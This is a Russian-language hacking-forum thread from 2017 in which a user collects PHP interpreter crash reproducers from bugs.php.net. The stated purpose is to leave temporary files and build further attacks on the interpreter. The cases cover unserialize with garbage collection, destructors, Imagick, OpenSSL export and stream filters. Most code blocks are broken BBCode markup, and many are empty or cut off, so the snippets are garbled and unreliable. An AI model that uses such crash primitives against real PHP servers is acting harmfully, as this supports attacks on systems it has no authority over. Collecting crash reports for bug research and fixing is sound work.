HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 13.12.2017, 17:35
crlf
Guest
Сообщений: n/a
Провел на форуме:
169212

Репутация: 441
По умолчанию

В процессе поиска на bugs.php.net краша под свой случай, накопилось много различных реализаций. К сожаленю, я всё ещё в поисках, поэтому предлагаю постить здесь различные примеры и, по возможности, обсуждать их.

Различные кейсы могут быть полезны для возможности оставления временных файлов, развития дальнейшей атаки на интерпретатор и других хитрых штук

Потестить на различных версиях пыха можно здесь.

Следующие примеры тестились на LinuxсPHP 5.6.32.

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]f[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$foo[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$d[/COLOR][COLOR="#007700"]=new[/COLOR][COLOR="#0000BB"]bad[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]unserialize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]serialize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$foo[/COLOR][COLOR="#007700"]));[/COLOR][COLOR="#0000BB"]gc_collect_cycles[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR] 
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]ob0ect[/COLOR][COLOR="#007700"]=new\[/COLOR][COLOR="#0000BB"]stdClass[/COLOR][COLOR="#007700"];}public function[/COLOR][COLOR="#0000BB"]__destruct[/COLOR][COLOR="#007700"](){[/COLOR][COLOR="#FF8000"]//
[/COLOR][COLOR="#007700"]if(![/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]ob0ect[/COLOR][COLOR="#007700"])([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]);}}class[/COLOR][COLOR="#0000BB"]SomeContainer[/COLOR][COLOR="#007700"]{public function[/COLOR][COLOR="#0000BB"]run[/COLOR][COLOR="#007700"](){new[/COLOR][COLOR="#0000BB"]SegfaultScenario[/COLOR][COLOR="#007700"];}}[/COLOR][COLOR="#0000BB"]$container[/COLOR][COLOR="#007700"]=new[/COLOR][COLOR="#0000BB"]SomeContainer[/COLOR][COLOR="#007700"]();[/COLOR][COLOR="#0000BB"]$container[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]run[/COLOR][COLOR="#007700"]();[/COLOR][COLOR="#0000BB"]gc_collect_cycles[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR] 
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]newImage[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'black'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#FF8000"]// This works fine
[/COLOR][COLOR="#0000BB"]$it[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$im[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getPixelIterator[/COLOR][COLOR="#007700"]();
[/
COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$it[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getCurrentIteratorRow[/COLOR][COLOR="#007700"]();
[/
COLOR][COLOR="#0000BB"]$rgb[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]->[/COLOR][COLOR="#0000BB"]getColor[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$rgb[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#FF8000"]// This crashes with SIGABRT
[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$im[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getPixelIterator[/COLOR][COLOR="#007700"]()->[/COLOR][COLOR="#0000BB"]getCurrentIteratorRow[/COLOR][COLOR="#007700"]();
[/
COLOR][COLOR="#0000BB"]$rgb[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]->[/COLOR][COLOR="#0000BB"]getColor[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$rgb[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR] 
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
[PHP]
PHP:
0; --$len) {
$className.=$symbols[rand(0,count($symbols) -1)];
}
} while (
class_exists($className,false));
$className=trim($className,'_ ');
$code='
PHP код:
 
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"];
}

public function[/COLOR][COLOR="#0000BB"]__toString[/COLOR][COLOR="#007700"]() {
[/
COLOR][COLOR="#0000BB"]openssl_pkey_export[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$output[/COLOR][COLOR="#007700"]);
return[/COLOR][COLOR="#0000BB"]$output[/COLOR][COLOR="#007700"];
}

}

[/
COLOR][COLOR="#0000BB"]$csr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]openssl_csr_new[/COLOR][COLOR="#007700"]([],[/COLOR][COLOR="#0000BB"]$privateKey[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$certificate[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]openssl_csr_sign[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$csr[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]NULL[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$privateKey[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$privateKey[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]PrivateKey[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$privateKey[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]openssl_pkcs12_export_to_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$certificate[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'/tmp/test.p12'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$privateKey[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR] 
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'el_a'[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$doc1[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR] 
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]append[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$x[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR] 
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]stream[/COLOR][COLOR="#007700"]);
}
}
[/
COLOR][COLOR="#0000BB"]stream_filter_register[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'user_filter'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'user_filter'[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$fd[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'php://memory'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'w'[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$filter[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]stream_filter_append[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fd[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'user_filter'[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fd[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"foo"[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR] 
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ